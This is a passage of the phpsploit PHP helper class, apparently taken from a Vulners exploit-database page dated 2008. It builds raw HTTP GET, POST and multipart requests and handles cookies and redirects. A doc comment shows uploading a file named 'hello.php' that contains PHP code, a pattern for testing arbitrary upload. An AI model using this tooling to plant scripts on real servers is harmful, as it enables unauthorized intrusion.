	&nbsp;*&nbsp;POST&nbsp;method.&nbsp;You&nbsp;can&nbsp;precise&nbsp;the&nbsp;port&nbsp;of&nbsp;the&nbsp;host.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;post(&quot;http://localhost/index.php&quot;,&quot;admin=1&amp;user=dark&quot;);
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urlwithpath
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$postdata
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/	
	public&nbsp;function&nbsp;post($url,$data)
	{
		$this-&gt;target($url);
		$this-&gt;method=&quot;post&quot;;
		$this-&gt;data=$data;
		return&nbsp;$this-&gt;sock();
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the
	&nbsp;*&nbsp;POST&nbsp;method&nbsp;using&nbsp;the&nbsp;multipart/form-data&nbsp;enctype.&nbsp;
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$array&nbsp;=&nbsp;array(
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_url&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&quot;http://localhost/upload.php&quot;,
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_boundary&nbsp;=&gt;&nbsp;&quot;123456&quot;,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Optional
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;email&quot;&nbsp;=&gt;&nbsp;&quot;[email protected]&quot;,
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;varname&quot;&nbsp;=&gt;&nbsp;array(
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_type&nbsp;=&gt;&nbsp;&quot;image/gif&quot;,&nbsp;&nbsp;&nbsp;#&nbsp;Optional
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_transfert&nbsp;=&gt;&nbsp;&quot;binary&quot;,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Optional
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_filename&nbsp;=&gt;&nbsp;&quot;hello.php&quot;,
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_content&nbsp;=&gt;&nbsp;&quot;&lt;?php&nbsp;echo&nbsp;':)';&nbsp;?&gt;&quot;));
	&nbsp;*&nbsp;$this-&gt;formdata($array);
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;array&nbsp;$array
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/
	public&nbsp;function&nbsp;formdata($array)
	{
		$this-&gt;target($array[frmdt_url]);
		$this-&gt;method=&quot;formdata&quot;;
		$this-&gt;data='';
		if(!isset($array[frmdt_boundary]))&nbsp;$this-&gt;boundary=&quot;phpsploit&quot;;
		else&nbsp;$this-&gt;boundary=$array[frmdt_boundary];
		foreach($array&nbsp;as&nbsp;$key&nbsp;=&gt;&nbsp;$value)
		{
			if(!preg_match(&quot;#^frmdt_(boundary|url)#&quot;,$key))
			{
				$this-&gt;data&nbsp;.=&nbsp;&quot;-----------------------------&quot;.$this-&gt;boundary.&quot;\r\n&quot;;
				$this-&gt;data&nbsp;.=&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;&quot;.$key.&quot;\&quot;;&quot;;
				if(!is_array($value))
				{
					$this-&gt;data&nbsp;.=&nbsp;&quot;\r\n\r\n&quot;.$value.&quot;\r\n&quot;;
				}
				else
				{
					$this-&gt;data&nbsp;.=&nbsp;&quot;&nbsp;filename=\&quot;&quot;.$array[$key][frmdt_filename].&quot;\&quot;;\r\n&quot;;
					if(isset($array[$key][frmdt_type]))&nbsp;$this-&gt;data&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;&quot;.$array[$key][frmdt_type].&quot;\r\n&quot;;
					if(isset($array[$key][frmdt_transfert]))&nbsp;$this-&gt;data&nbsp;.=&nbsp;&quot;Content-Transfer-Encoding:&nbsp;&quot;.$array[$key][frmdt_transfert].&quot;\r\n&quot;;
					$this-&gt;data&nbsp;.=&nbsp;&quot;\r\n&quot;.$array[$key][frmdt_content].&quot;\r\n&quot;;
				}
			}
		}
		$this-&gt;data&nbsp;.=&nbsp;&quot;-----------------------------&quot;.$this-&gt;boundary.&quot;--\r\n&quot;;
		return&nbsp;$this-&gt;sock();
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;content&nbsp;of&nbsp;the&nbsp;server&nbsp;response
	&nbsp;*&nbsp;without&nbsp;the&nbsp;headers.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;getcontent($this-&gt;get(&quot;http://localhost/&quot;));
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;getcontent();
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response
	&nbsp;*&nbsp;@return&nbsp;$onlythecontent
	&nbsp;*/
	public&nbsp;function&nbsp;getcontent($code='')
	{
		if(empty($code))&nbsp;$code&nbsp;=&nbsp;$this-&gt;recv;
		$content&nbsp;=&nbsp;explode(&quot;\n&quot;,$code);
		$onlycode&nbsp;=&nbsp;'';
		for($i=1;$i&lt;count($content);$i++)
		{
			if(!preg_match(&quot;/^(\S*):/&quot;,$content[$i]))&nbsp;$ok&nbsp;=&nbsp;1;
			if($ok)&nbsp;$onlycode&nbsp;.=&nbsp;$content[$i].&quot;\n&quot;;
		}
		return&nbsp;$onlycode;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;headers&nbsp;of&nbsp;the&nbsp;server&nbsp;response
	&nbsp;*&nbsp;without&nbsp;the&nbsp;content.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;getheader($this-&gt;post(&quot;http://localhost/x.php&quot;,&quot;x=1&amp;z=2&quot;));
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;getheader();
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response
	&nbsp;*&nbsp;@return&nbsp;$onlytheheaders
	&nbsp;*/
	public&nbsp;function&nbsp;getheader($code='')
	{
		if(empty($code))&nbsp;$code&nbsp;=&nbsp;$this-&gt;recv;
		$header&nbsp;=&nbsp;explode(&quot;\n&quot;,$code);
		$onlyheader&nbsp;=&nbsp;$header[0].&quot;\n&quot;;
		for($i=1;$i&lt;count($header);$i++)
		{
			if(!preg_match(&quot;/^(\S*):/&quot;,$header[$i]))&nbsp;break;
			$onlyheader&nbsp;.=&nbsp;$header[$i].&quot;\n&quot;;
		}
		return&nbsp;$onlyheader;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;cookiejar()&nbsp;function.
	&nbsp;*&nbsp;It&nbsp;adds&nbsp;the&nbsp;value&nbsp;of&nbsp;the&nbsp;&quot;Set-Cookie&quot;&nbsp;header&nbsp;in&nbsp;the&nbsp;&quot;Cookie&quot;
	&nbsp;*&nbsp;header&nbsp;for&nbsp;the&nbsp;next&nbsp;request.&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response
	&nbsp;*/
	private&nbsp;function&nbsp;getcookie($code)
	{
		$carr&nbsp;=&nbsp;explode(&quot;\n&quot;,str_replace(&quot;\r\n&quot;,&quot;\n&quot;,$code));
		for($z=0;$z&lt;count($carr);$z++)
		{
			if(preg_match(&quot;/set-cookie:&nbsp;(.*)/i&quot;,$carr[$z],$cookarr))
			{
				$cookie[]&nbsp;=&nbsp;preg_replace(&quot;/expires=(.*)(GMT||UTC)(\S*)$/i&quot;,&quot;&quot;,preg_replace(&quot;/path=(.*)/i&quot;,&quot;&quot;,$cookarr[1]));
			}
		}

		for($i=0;$i&lt;count($cookie);$i++)
		{
			preg_match(&quot;/(\S*)=(\S*)(|;)/&quot;,$cookie[$i],$matches);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cookn&nbsp;=&nbsp;$matches[1];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cookv&nbsp;=&nbsp;$matches[2];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;addcookie($cookn,$cookv);
		}
&nbsp;&nbsp;&nbsp;&nbsp;}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;get()/post()&nbsp;functions.
	&nbsp;*&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it.
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urltarg
	&nbsp;*/
	private&nbsp;function&nbsp;target($urltarg)
	{
		if(!preg_match(&quot;/^http:\/\/(.*)\//&quot;,$urltarg))&nbsp;$urltarg&nbsp;.=&nbsp;&quot;/&quot;;
		$this-&gt;url=$urltarg;
		
		$array&nbsp;=&nbsp;explode(&quot;/&quot;,str_replace(&quot;http://&quot;,&quot;&quot;,preg_replace(&quot;/:(\d+)/&quot;,&quot;&quot;,$urltarg)));
		$this-&gt;host=$array[0];

		preg_match(&quot;/:(\d+)\//&quot;,$urltarg,$matches);
		$this-&gt;port=empty($matches[1])&nbsp;?&nbsp;80&nbsp;:&nbsp;$matches[1];
		
		$temp&nbsp;=&nbsp;str_replace(&quot;http://&quot;,&quot;&quot;,preg_replace(&quot;/:(\d+)/&quot;,&quot;&quot;,$urltarg));
		preg_match(&quot;/\/(.*)\//&quot;,$temp,$matches);
		$this-&gt;path=str_replace(&quot;//&quot;,&quot;/&quot;,&quot;/&quot;.$matches[1].&quot;/&quot;);
	
		if($this-&gt;port&nbsp;&gt;&nbsp;65535)&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;port&nbsp;number&quot;);
	}
	
	
	/**
	&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,&nbsp;the&nbsp;script&nbsp;will
	&nbsp;*&nbsp;extract&nbsp;all&nbsp;&quot;Set-Cookie&quot;&nbsp;headers&nbsp;values
	&nbsp;*&nbsp;and&nbsp;it&nbsp;will&nbsp;automatically&nbsp;add&nbsp;them&nbsp;into&nbsp;the&nbsp;&quot;Cookie&quot;&nbsp;header
	&nbsp;*&nbsp;for&nbsp;all&nbsp;next&nbsp;requests.
	&nbsp;*
	&nbsp;*&nbsp;$this-&gt;cookiejar(1);&nbsp;//&nbsp;enabled
	&nbsp;*&nbsp;$this-&gt;cookiejar(0);&nbsp;//&nbsp;disabled
	&nbsp;*&nbsp;
	&nbsp;*/
	public&nbsp;function&nbsp;cookiejar($code)
	{
		if($code===0)&nbsp;$this-&gt;cookiejar='';
		if($code===1)&nbsp;$this-&gt;cookiejar=1;
		else
		{
			$this-&gt;getcookie($code);
		}
	}


	/**
	&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,&nbsp;the&nbsp;script&nbsp;will
	&nbsp;*&nbsp;follow&nbsp;all&nbsp;redirections&nbsp;sent&nbsp;by&nbsp;the&nbsp;server.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;allowredirection(1);&nbsp;//&nbsp;enabled
	&nbsp;*&nbsp;$this-&gt;allowredirection(0);&nbsp;//&nbsp;disabled
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@return&nbsp;$this-&gt;get($locationresponse)
	&nbsp;*/
	public&nbsp;function&nbsp;allowredirection($code)
	{
		if($code===0)&nbsp;$this-&gt;allowredirection='';
		if($code===1)&nbsp;$this-&gt;allowredirection=1;
		else
		{
			if(preg_match(&quot;/(location|content-location|uri):&nbsp;(.*)/i&quot;,$code,$codearr))
			{
				$location&nbsp;=&nbsp;str_replace(chr(13),'',$codearr[2]);
				if(!eregi(&quot;://&quot;,$location))
				{
					return&nbsp;$this-&gt;get(&quot;http://&quot;.$this-&gt;host.$this-&gt;path.$location);
				}
				else
				{
					return&nbsp;$this-&gt;get($location);
				}
			}
			else
			{
				return&nbsp;$code;
			}
		}
	}
	
	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;reset&nbsp;some&nbsp;parameters:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;reset(header);&nbsp;//&nbsp;headers&nbsp;cleaned
	&nbsp;*&nbsp;$this-&gt;reset(cookie);&nbsp;//&nbsp;cookies&nbsp;cleaned
	&nbsp;*&nbsp;$this-&gt;reset();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;clean&nbsp;all&nbsp;parameters
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$func
	&nbsp;*/
	public&nbsp;function&nbsp;reset($func='')
	{
		switch($func)
		{
			case&nbsp;&quot;header&quot;:
			$this-&gt;header='';
			break;
			
			case&nbsp;&quot;cookie&quot;:
			$this-&gt;cookie='';
			break;
			
			default:
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;cookiejar='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;header='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;cookie='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;allowredirection='';&nbsp;
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;agent='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
		}
	}
}
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Mar 2008 00:00Current
7.1High risk
Vulners AI Score7.1
13